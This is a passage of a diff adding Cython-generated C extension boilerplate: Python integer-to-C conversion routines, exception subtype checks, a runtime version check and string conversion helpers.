long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 3 * PyLong_SHIFT)) { + return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 4 * PyLong_SHIFT)) { + return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (long) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(long) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(long) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) ((((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(long) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + long val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (long) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (long) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (long) -1; + } else { + stepval = v; + } + v = NULL; + val = (long) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(long) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((long) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(long) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((long) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((long) 1) << (sizeof(long) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (long) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to long"); + return (long) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to long"); + return (long) -1; +} + +/* CIntFromPy */ + static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const int neg_one = (int) -1, const_zero = (int) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(int) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (int) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + int val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (int) -1; + val = __Pyx_PyInt_As_int(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 2 * PyLong_SHIFT)) { + return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 3 * PyLong_SHIFT)) { + return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 4 * PyLong_SHIFT)) { + return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (int) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(int) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(int) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(int) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + int val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (int) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (int) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (int) -1; + } else { + stepval = v; + } + v = NULL; + val = (int) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(int) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((int) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(int) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((int) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((int) 1) << (sizeof(int) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (int) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to int"); + return (int) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to int"); + return (int) -1; +} + +/* FastTypeChecks */ + #if CYTHON_COMPILING_IN_CPYTHON +static int __Pyx_InBases(PyTypeObject *a, PyTypeObject *b) { + while (a) { + a = __Pyx_PyType_GetSlot(a, tp_base, PyTypeObject*); + if (a == b) + return 1; + } + return b == &PyBaseObject_Type; +} +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (a == b) return 1; + mro = a->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + if (PyTuple_GET_ITEM(mro, i) == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(a, b); +} +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (cls == a || cls == b) return 1; + mro = cls->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + PyObject *base = PyTuple_GET_ITEM(mro, i); + if (base == (PyObject *)a || base == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(cls, a) || __Pyx_InBases(cls, b); +} +#if PY_MAJOR_VERSION == 2 +static int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject* exc_type2) { + PyObject *exception, *value, *tb; + int res; + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&exception, &value, &tb); + res = exc_type1 ? PyObject_IsSubclass(err, exc_type1) : 0; + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + if (!res) { + res = PyObject_IsSubclass(err, exc_type2); + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + } + __Pyx_ErrRestore(exception, value, tb); + return res; +} +#else +static CYTHON_INLINE int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject *exc_type2) { + if (exc_type1) { + return __Pyx_IsAnySubtype2((PyTypeObject*)err, (PyTypeObject*)exc_type1, (PyTypeObject*)exc_type2); + } else { + return __Pyx_IsSubtype((PyTypeObject*)err, (PyTypeObject*)exc_type2); + } +} +#endif +static int __Pyx_PyErr_GivenExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + assert(PyExceptionClass_Check(exc_type)); + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030B00A4 + return Py_Version & ~0xFFUL; +#else + const char* rt_version = Py_GetVersion(); + unsigned long version = 0; + unsigned long factor = 0x01000000UL; + unsigned int digit = 0; + int i = 0; + while (factor) { + while ('0' <= rt_version[i] && rt_version[i] <= '9') { + digit = digit * 10 + (unsigned int) (rt_version[i] - '0'); + ++i; + } + version += factor * digit; + if (rt_version[i] != '.') + break; + digit = 0; + factor >>= 8; + ++i; + } + return version; +#endif +} +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer) { + const unsigned long MAJOR_MINOR = 0xFFFF0000UL; + if ((rt_version & MAJOR_MINOR) == (ct_version & MAJOR_MINOR)) + return 0; + if (likely(allow_newer && (rt_version & MAJOR_MINOR) > (ct_version & MAJOR_MINOR))) + return 1; + { + char message[200]; + PyOS_snprintf(message, sizeof(message), + "compile time Python version %d.%d " + "of module '%.100s' " + "%s " + "runtime version %d.%d", + (int) (ct_version >> 24), (int) ((ct_version >> 16) & 0xFF), + __Pyx_MODULE_NAME, + (allow_newer) ? "was newer than" : "does not match", + (int) (rt_version >> 24), (int) ((rt_version >> 16) & 0xFF) + ); + return PyErr_WarnEx(NULL, message, 1); + } +} + +/* InitStrings */ + #if PY_MAJOR_VERSION >= 3 +static int __Pyx_InitString(__Pyx_StringTabEntry t, PyObject **str) { + if (t.is_unicode | t.is_str) { + if (t.intern) { + *str = PyUnicode_InternFromString(t.s); + } else if (t.encoding) { + *str = PyUnicode_Decode(t.s, t.n - 1, t.encoding, NULL); + } else { + *str = PyUnicode_FromStringAndSize(t.s, t.n - 1); + } + } else { + *str = PyBytes_FromStringAndSize(t.s, t.n - 1); + } + if (!*str) + return -1; + if (PyObject_Hash(*str) == -1) + return -1; + return 0; +} +#endif +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { + while (t->p) { + #if PY_MAJOR_VERSION >= 3 + __Pyx_InitString(*t, t->p); + #else + if (t->is_unicode) { + *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); + } else if (t->intern) { + *t->p = PyString_InternFromString(t->s); + } else { + *t->p = PyString_FromStringAndSize(t->s, t->n - 1); + } + if (!*t->p) + return -1; + if (PyObject_Hash(*t->p) == -1) + return -1; + #endif + ++t; + } + return 0; +} + +#include +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s) { + size_t len = strlen(s); + if (unlikely(len > (size_t) PY_SSIZE_T_MAX)) { + PyErr_SetString(PyExc_OverflowError, "byte string is too long"); + return -1; + } + return (Py_ssize_t) len; +} +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return __Pyx_PyUnicode_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return PyByteArray_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject* o) { + Py_ssize_t ignore; + return __Pyx_PyObject_AsStringAndSize(o, &ignore); +} +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#if !CYTHON_PEP393_ENABLED +static const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + char* defenc_c; + PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); + if (!defenc) return NULL; + defenc_c = PyBytes_AS_STRING(defenc); +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + { + char* end = defenc_c + PyBytes_GET_SIZE(defenc); + char* c; + for (c = defenc_c; c < end; c++) { + if ((unsigned char) (*c) >= 128) { + PyUnicode_AsASCIIString(o); + return NULL; + } + } + } +#endif + *length = PyBytes_GET_SIZE(defenc); + return defenc_c; +} +#else +static CYTHON_INLINE const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + if (unlikely(__Pyx_PyUnicode_READY(o) == -1)) return NULL; +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + if (likely(PyUnicode_IS_ASCII(o))) { + *length = PyUnicode_GET_LENGTH(o); + return PyUnicode_AsUTF8(o); + } else { + PyUnicode_AsASCIIString(o); + return NULL; + } +#else + return PyUnicode_AsUTF8AndSize(o, length); +#endif +} +#endif +#endif +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT + if ( +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + __Pyx_sys_getdefaultencoding_not_ascii && +#endif + PyUnicode_Check(o)) { + return __Pyx_PyUnicode_AsStringAndSize(o, length); + } else +#endif +#if (!CYTHON_COMPILING_IN_PYPY && !CYTHON_COMPILING_IN_LIMITED_API) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) + if (PyByteArray_Check(o)) { + *length = PyByteArray_GET_SIZE(o); + return PyByteArray_AS_STRING(o); + } else +#endif + { + char* result; + int r = PyBytes_AsStringAndSize(o, &result, length); + if (unlikely(r < 0)) { + return NULL; + } else { + return result; + } + } +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { + int is_true = x == Py_True; + if (is_true | (x == Py_False) | (x == Py_None)) return is_true; + else return PyObject_IsTrue(x); +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject* x) { + int retval; + if (unlikely(!x)) return -1; + retval = __Pyx_PyObject_IsTrue(x); + Py_DECREF(x); + return retval; +} +static PyObject* __Pyx_PyNumber_IntOrLongWrongResultType(PyObject* result, const char* type_name) { + __Pyx_TypeName result_type_name = __Pyx_PyType_GetName(Py_TYPE(result)); +#if PY_MAJOR_VERSION >= 3 + if (PyLong_Check(result)) { + if (PyErr_WarnFormat(PyExc_DeprecationWarning, 1, + "__int__ returned non-int (type " __Pyx_FMT_TYPENAME "). " + "The ability to return an instance of a strict subclass of int is deprecated, " + "and may be removed in a future version of Python.", + result_type_name)) { + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; + } + __Pyx_DECREF_TypeName(result_type_name); + return result; + } +#endif + PyErr_Format(PyExc_TypeError, + "__%.4s__ returned non-%.4s (type " __Pyx_FMT_TYPENAME ")", + type_name, type_name, result_type_name); + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { +#if CYTHON_USE_TYPE_SLOTS + PyNumberMethods *m; +#endif + const char *name = NULL; + PyObject *res = NULL; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x) || PyLong_Check(x))) +#else + if (likely(PyLong_Check(x))) +#endif 